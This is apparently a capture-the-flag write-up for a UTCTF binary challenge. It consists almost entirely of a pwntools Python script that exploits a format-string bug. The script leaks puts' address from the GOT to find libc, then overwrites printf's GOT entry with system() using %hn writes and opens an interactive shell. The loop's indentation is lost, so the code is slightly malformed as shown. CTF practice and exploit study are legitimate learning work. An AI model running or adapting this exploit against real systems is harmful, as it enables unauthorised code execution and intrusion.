Rating: 1.0
Format String attack
Leak libc and hijack printf got to system()
```python
from pwn import *
r = remote("binary.utctf.live",9003)
r.recvuntil("do?\n")
p = b"%7$s "
p += p64(0x601018) #puts got
r.sendline(p)
puts = u64(r.recvline().split()[0].ljust(8,b'\x00'))
libc = puts-0x6f690
print("libc: "+hex(libc))
system = libc+0x45390
towrite = system%0x100000000
print(hex(towrite))
wl = []
wl.append([towrite%0x10000, 0x601020])
wl.append([towrite//0x10000, 0x601022])
#swap = lambda a,b: b,a
if wl[0][0]>wl[1][0]:
wl[0],wl[1] = wl[1],wl[0]
print(wl)
p = (b"%%%dc%%10$hn%%%dc%%11$hn" % (wl[0][0],wl[1][0]-wl[0][0])).ljust(32,b' ')
p += p64(wl[0][1])+p64(wl[1][1])
print(p)
print(len(p))
r.sendlineafter("do?\n",p)
r.interactive()
```